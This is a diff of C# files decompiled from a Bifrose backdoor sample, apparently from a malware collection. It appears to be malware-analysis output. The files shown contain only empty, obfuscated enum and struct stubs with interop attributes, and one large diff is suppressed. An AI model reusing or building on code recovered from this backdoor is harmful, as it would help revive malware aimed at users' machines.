[DebugInfoInPDB]
|
||||
[NativeCppClass]
|
||||
internal enum \u0081ò
|
||||
{
|
||||
}
|
||||
}
|
||||
+18
@@ -0,0 +1,18 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: ¼.ù
|
||||
// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe
|
||||
|
||||
using Microsoft.VisualC;
|
||||
using System.Runtime.CompilerServices;
|
||||
|
||||
namespace \u0082\u00BC
|
||||
{
|
||||
[NativeCppClass]
|
||||
[DebugInfoInPDB]
|
||||
[MiscellaneousBits(64)]
|
||||
internal enum \u0081ù
|
||||
{
|
||||
}
|
||||
}
|
||||
+18
@@ -0,0 +1,18 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: ¼.
|
||||
// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe
|
||||
|
||||
using Microsoft.VisualC;
|
||||
using System.Runtime.CompilerServices;
|
||||
|
||||
namespace \u0082\u00BC
|
||||
{
|
||||
[MiscellaneousBits(64)]
|
||||
[NativeCppClass]
|
||||
[DebugInfoInPDB]
|
||||
internal enum \u0082\u0084
|
||||
{
|
||||
}
|
||||
}
|
||||
+21
@@ -0,0 +1,21 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: ¼.
|
||||
// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe
|
||||
|
||||
using Microsoft.VisualC;
|
||||
using System.Runtime.CompilerServices;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
namespace \u0082\u00BC
|
||||
{
|
||||
[UnsafeValueType]
|
||||
[NativeCppClass]
|
||||
[MiscellaneousBits(65)]
|
||||
[DebugInfoInPDB]
|
||||
[StructLayout(LayoutKind.Sequential, Size = 544)]
|
||||
internal struct \u0082\u0088
|
||||
{
|
||||
}
|
||||
}
|
||||
+18
@@ -0,0 +1,18 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: ¼.
|
||||
// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe
|
||||
|
||||
using Microsoft.VisualC;
|
||||
using System.Runtime.CompilerServices;
|
||||
|
||||
namespace \u0082\u00BC
|
||||
{
|
||||
[DebugInfoInPDB]
|
||||
[MiscellaneousBits(64)]
|
||||
[NativeCppClass]
|
||||
internal enum \u0082\u008A
|
||||
{
|
||||
}
|
||||
}
|
||||
+20
@@ -0,0 +1,20 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: ¼.
|
||||
// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe
|
||||
|
||||
using Microsoft.VisualC;
|
||||
using System.Runtime.CompilerServices;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
namespace \u0082\u00BC
|
||||
{
|
||||
[MiscellaneousBits(64)]
|
||||
[NativeCppClass]
|
||||
[DebugInfoInPDB]
|
||||
[StructLayout(LayoutKind.Sequential, Size = 16)]
|
||||
internal struct \u0082\u008E
|
||||
{
|
||||
}
|
||||
}
|
||||
+18
@@ -0,0 +1,18 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: ¼.
|
||||
// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe
|
||||
|
||||
using Microsoft.VisualC;
|
||||
using System.Runtime.CompilerServices;
|
||||
|
||||
namespace \u0082\u00BC
|
||||
{
|
||||
[DebugInfoInPDB]
|
||||
[MiscellaneousBits(64)]
|
||||
[NativeCppClass]
|
||||
internal enum \u0082\u0094
|
||||
{
|
||||
}
|
||||
}
|
||||
+18
@@ -0,0 +1,18 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: ¼.
|
||||
// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe
|
||||
|
||||
using Microsoft.VisualC;
|
||||
using System.Runtime.CompilerServices;
|
||||
|
||||
namespace \u0082\u00BC
|
||||
{
|
||||
[NativeCppClass]
|
||||
[MiscellaneousBits(64)]
|
||||
[DebugInfoInPDB]
|
||||
internal enum \u0082\u0095
|
||||
{
|
||||
}
|
||||
}
|
||||
+21
@@ -0,0 +1,21 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: ¼.
|
||||
// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe
|
||||
|
||||
using Microsoft.VisualC;
|
||||
using System.Runtime.CompilerServices;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
namespace \u0082\u00BC
|
||||
{
|
||||
[MiscellaneousBits(65)]
|
||||
[NativeCppClass]
|
||||
[DebugInfoInPDB]
|
||||
[UnsafeValueType]
|
||||
[StructLayout(LayoutKind.Sequential, Size = 64)]
|
||||
internal struct \u0082\u009A
|
||||
{
|
||||
}
|
||||
}
|
||||
+18
@@ -0,0 +1,18 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: ¼.¢
|
||||
// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe
|
||||
|
||||
using Microsoft.VisualC;
|
||||
using System.Runtime.CompilerServices;
|
||||
|
||||
namespace \u0082\u00BC
|
||||
{
|
||||
[NativeCppClass]
|
||||
[MiscellaneousBits(64)]
|
||||
[DebugInfoInPDB]
|
||||
internal enum \u0082\u00A2
|
||||
{
|
||||
}
|
||||
}
|
||||
+20
@@ -0,0 +1,20 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: ¼.¥
|
||||
// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe
|
||||
|
||||
using Microsoft.VisualC;
|
||||
using System.Runtime.CompilerServices;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
namespace \u0082\u00BC
|
||||
{
|
||||
[NativeCppClass]
|
||||
[DebugInfoInPDB]
|
||||
[MiscellaneousBits(65)]
|
||||
[StructLayout(LayoutKind.Sequential, Size = 224)]
|
||||
internal struct \u0082\u00A5
|
||||
{
|
||||
}
|
||||
}
|
||||
+18
@@ -0,0 +1,18 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: ¼.¦
|
||||
// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe
|
||||
|
||||
using Microsoft.VisualC;
|
||||
using System.Runtime.CompilerServices;
|
||||
|
||||
namespace \u0082\u00BC
|
||||
{
|
||||
[MiscellaneousBits(64)]
|
||||
[NativeCppClass]
|
||||
[DebugInfoInPDB]
|
||||
internal enum \u0082\u00A6
|
||||
{
|
||||
}
|
||||
}
|
||||
+20
@@ -0,0 +1,20 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: ¼.§
|
||||
// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe
|
||||
|
||||
using Microsoft.VisualC;
|
||||
using System.Runtime.CompilerServices;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
namespace \u0082\u00BC
|
||||
{
|
||||
[DebugInfoInPDB]
|
||||
[NativeCppClass]
|
||||
[MiscellaneousBits(65)]
|
||||
[StructLayout(LayoutKind.Sequential, Size = 248)]
|
||||
internal struct \u0082\u00A7
|
||||
{
|
||||
}
|
||||
}
|
||||
+20
@@ -0,0 +1,20 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: ¼.¨
|
||||
// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe
|
||||
|
||||
using Microsoft.VisualC;
|
||||
using System.Runtime.CompilerServices;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
namespace \u0082\u00BC
|
||||
{
|
||||
[MiscellaneousBits(65)]
|
||||
[DebugInfoInPDB]
|
||||
[NativeCppClass]
|
||||
[StructLayout(LayoutKind.Sequential, Size = 32)]
|
||||
internal struct \u0082\u00A8
|
||||
{
|
||||
}
|
||||
}
|
||||
+18
@@ -0,0 +1,18 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: ¼.©
|
||||
// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe
|
||||
|
||||
using Microsoft.VisualC;
|
||||
using System.Runtime.CompilerServices;
|
||||
|
||||
namespace \u0082\u00BC
|
||||
{
|
||||
[MiscellaneousBits(64)]
|
||||
[DebugInfoInPDB]
|
||||
[NativeCppClass]
|
||||
internal enum \u0082\u00A9
|
||||
{
|
||||
}
|
||||
}
|
||||
+18
@@ -0,0 +1,18 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: ¼.
|
||||
// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe
|
||||
|
||||
using Microsoft.VisualC;
|
||||
using System.Runtime.CompilerServices;
|
||||
|
||||
namespace \u0082\u00BC
|
||||
{
|
||||
[DebugInfoInPDB]
|
||||
[NativeCppClass]
|
||||
[MiscellaneousBits(64)]
|
||||
internal enum \u0082\u00AD
|
||||
{
|
||||
}
|
||||
}
|
||||
+20
@@ -0,0 +1,20 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: ¼.²
|
||||
// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe
|
||||
|
||||
using Microsoft.VisualC;
|
||||
using System.Runtime.CompilerServices;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
namespace \u0082\u00BC
|
||||
{
|
||||
[MiscellaneousBits(65)]
|
||||
[NativeCppClass]
|
||||
[DebugInfoInPDB]
|
||||
[StructLayout(LayoutKind.Sequential, Size = 8)]
|
||||
internal struct \u0082\u00B2
|
||||
{
|
||||
}
|
||||
}
|
||||
+20
@@ -0,0 +1,20 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: ¼.³
|
||||
// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe
|
||||
|
||||
using Microsoft.VisualC;
|
||||
using System.Runtime.CompilerServices;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
namespace \u0082\u00BC
|
||||
{
|
||||
[MiscellaneousBits(65)]
|
||||
[DebugInfoInPDB]
|
||||
[NativeCppClass]
|
||||
[StructLayout(LayoutKind.Sequential, Size = 8)]
|
||||
internal struct \u0082\u00B3
|
||||
{
|
||||
}
|
||||
}
|
||||
+18
@@ -0,0 +1,18 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: ¼.¶
|
||||
// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe
|
||||
|
||||
using Microsoft.VisualC;
|
||||
using System.Runtime.CompilerServices;
|
||||
|
||||
namespace \u0082\u00BC
|
||||
{
|
||||
[NativeCppClass]
|
||||
[DebugInfoInPDB]
|
||||
[MiscellaneousBits(64)]
|
||||
internal enum \u0082\u00B6
|
||||
{
|
||||
}
|
||||
}
|
||||
+20
@@ -0,0 +1,20 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: ¼.º
|
||||
// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe
|
||||
|
||||
using Microsoft.VisualC;
|
||||
using System.Runtime.CompilerServices;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
namespace \u0082\u00BC
|
||||
{
|
||||
[NativeCppClass]
|
||||
[MiscellaneousBits(65)]
|
||||
[DebugInfoInPDB]
|
||||
[StructLayout(LayoutKind.Sequential, Size = 4)]
|
||||
internal struct \u0082º
|
||||
{
|
||||
}
|
||||
}
|
||||
+1424
File diff suppressed because it is too large
Load Diff
+20
@@ -0,0 +1,20 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: ¼.
|
||||
// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe
|
||||
|
||||
using Microsoft.VisualC;
|
||||
using System.Runtime.CompilerServices;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
namespace \u0082\u00BC
|
||||
{
|
||||
[DebugInfoInPDB]
|
||||
[MiscellaneousBits(65)]
|
||||
[NativeCppClass]
|
||||
[StructLayout(LayoutKind.Sequential, Size = 60)]
|
||||
internal struct \u0086
|
||||
{
|
||||
}
|
||||
}
|
||||
+20
@@ -0,0 +1,20 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: ¼.
|
||||
// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe
|
||||
|
||||
using Microsoft.VisualC;
|
||||
using System.Runtime.CompilerServices;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
namespace \u0082\u00BC
|
||||
{
|
||||
[NativeCppClass]
|
||||
[MiscellaneousBits(65)]
|
||||
[DebugInfoInPDB]
|
||||
[StructLayout(LayoutKind.Sequential, Size = 8)]
|
||||
internal struct \u0088
|
||||
{
|
||||
}
|
||||
}
|
||||
+20
@@ -0,0 +1,20 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: ¼.
|
||||
// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe
|
||||
|
||||
using Microsoft.VisualC;
|
||||
using System.Runtime.CompilerServices;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
namespace \u0082\u00BC
|
||||
{
|
||||
[NativeCppClass]
|
||||
[MiscellaneousBits(65)]
|
||||
[DebugInfoInPDB]
|
||||
[StructLayout(LayoutKind.Sequential, Size = 56)]
|
||||
internal struct \u008D
|
||||
{
|
||||
}
|
||||
}
|
||||
+18
@@ -0,0 +1,18 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: ¼.
|
||||
// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe
|
||||
|
||||
using Microsoft.VisualC;
|
||||
using System.Runtime.CompilerServices;
|
||||
|
||||
namespace \u0082\u00BC
|
||||
{
|
||||
[DebugInfoInPDB]
|
||||
[MiscellaneousBits(64)]
|
||||
[NativeCppClass]
|
||||
internal enum \u0094
|
||||
{
|
||||
}
|
||||
}
|
||||
+20
@@ -0,0 +1,20 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: ¼.
|
||||
// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe
|
||||
|
||||
using Microsoft.VisualC;
|
||||
using System.Runtime.CompilerServices;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
namespace \u0082\u00BC
|
||||
{
|
||||
[NativeCppClass]
|
||||
[DebugInfoInPDB]
|
||||
[MiscellaneousBits(65)]
|
||||
[StructLayout(LayoutKind.Sequential, Size = 12)]
|
||||
internal struct \u00A0
|
||||
{
|
||||
}
|
||||
}
|
||||
+20
@@ -0,0 +1,20 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: ¼.¨
|
||||
// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe
|
||||
|
||||
using Microsoft.VisualC;
|
||||
using System.Runtime.CompilerServices;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
namespace \u0082\u00BC
|
||||
{
|
||||
[DebugInfoInPDB]
|
||||
[MiscellaneousBits(65)]
|
||||
[NativeCppClass]
|
||||
[StructLayout(LayoutKind.Sequential, Size = 36)]
|
||||
internal struct \u00A8
|
||||
{
|
||||
}
|
||||
}
|
||||
+20
@@ -0,0 +1,20 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: ¼.
|
||||
// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe
|
||||
|
||||
using Microsoft.VisualC;
|
||||
using System.Runtime.CompilerServices;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
namespace \u0082\u00BC
|
||||
{
|
||||
[DebugInfoInPDB]
|
||||
[MiscellaneousBits(65)]
|
||||
[NativeCppClass]
|
||||
[StructLayout(LayoutKind.Sequential, Size = 4)]
|
||||
internal struct \u00AD
|
||||
{
|
||||
}
|
||||
}
|
||||
+20
@@ -0,0 +1,20 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: ¼.±
|
||||
// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe
|
||||
|
||||
using Microsoft.VisualC;
|
||||
using System.Runtime.CompilerServices;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
namespace \u0082\u00BC
|
||||
{
|
||||
[DebugInfoInPDB]
|
||||
[MiscellaneousBits(65)]
|
||||
[NativeCppClass]
|
||||
[StructLayout(LayoutKind.Sequential, Size = 16)]
|
||||
internal struct \u00B1
|
||||
{
|
||||
}
|
||||
}
|
||||
+20
@@ -0,0 +1,20 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: ¼.´
|
||||
// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe
|
||||
|
||||
using Microsoft.VisualC;
|
||||
using System.Runtime.CompilerServices;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
namespace \u0082\u00BC
|
||||
{
|
||||
[NativeCppClass]
|
||||
[DebugInfoInPDB]
|
||||
[MiscellaneousBits(65)]
|
||||
[StructLayout(LayoutKind.Sequential, Size = 4)]
|
||||
internal struct \u00B4
|
||||
{
|
||||
}
|
||||
}
|
||||
+20
@@ -0,0 +1,20 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: ¼.µ
|
||||
// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe
|
||||
|
||||
using Microsoft.VisualC;
|
||||
using System.Runtime.CompilerServices;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
namespace \u0082\u00BC
|
||||
{
|
||||
[NativeCppClass]
|
||||
[DebugInfoInPDB]
|
||||
[MiscellaneousBits(65)]
|
||||
[StructLayout(LayoutKind.Sequential, Size = 4)]
|
||||
internal struct µ
|
||||
{
|
||||
}
|
||||
}
|
||||
+20
@@ -0,0 +1,20 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: ¼.Á
|
||||
// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe
|
||||
|
||||
using Microsoft.VisualC;
|
||||
using System.Runtime.CompilerServices;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
namespace \u0082\u00BC
|
||||
{
|
||||
[NativeCppClass]
|
||||
[MiscellaneousBits(65)]
|
||||
[DebugInfoInPDB]
|
||||
[StructLayout(LayoutKind.Sequential, Size = 32)]
|
||||
internal struct Á
|
||||
{
|
||||
}
|
||||
}
|
||||
+20
@@ -0,0 +1,20 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: ¼.Ê
|
||||
// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe
|
||||
|
||||
using Microsoft.VisualC;
|
||||
using System.Runtime.CompilerServices;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
namespace \u0082\u00BC
|
||||
{
|
||||
[DebugInfoInPDB]
|
||||
[NativeCppClass]
|
||||
[MiscellaneousBits(65)]
|
||||
[StructLayout(LayoutKind.Sequential, Size = 4)]
|
||||
internal struct Ê
|
||||
{
|
||||
}
|
||||
}
|
||||
+21
@@ -0,0 +1,21 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: ¼.ä
|
||||
// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe
|
||||
|
||||
using Microsoft.VisualC;
|
||||
using System.Runtime.CompilerServices;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
namespace \u0082\u00BC
|
||||
{
|
||||
[UnsafeValueType]
|
||||
[NativeCppClass]
|
||||
[DebugInfoInPDB]
|
||||
[MiscellaneousBits(65)]
|
||||
[StructLayout(LayoutKind.Sequential, Size = 16)]
|
||||
internal struct ä
|
||||
{
|
||||
}
|
||||
}
|
||||
+20
@@ -0,0 +1,20 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: å.
|
||||
// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe
|
||||
|
||||
using Microsoft.VisualC;
|
||||
using System.Runtime.CompilerServices;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
namespace å
|
||||
{
|
||||
[DebugInfoInPDB]
|
||||
[NativeCppClass]
|
||||
[MiscellaneousBits(64)]
|
||||
[StructLayout(LayoutKind.Sequential, Size = 1)]
|
||||
internal struct \u0082\u0090
|
||||
{
|
||||
}
|
||||
}
|
||||
+20
@@ -0,0 +1,20 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
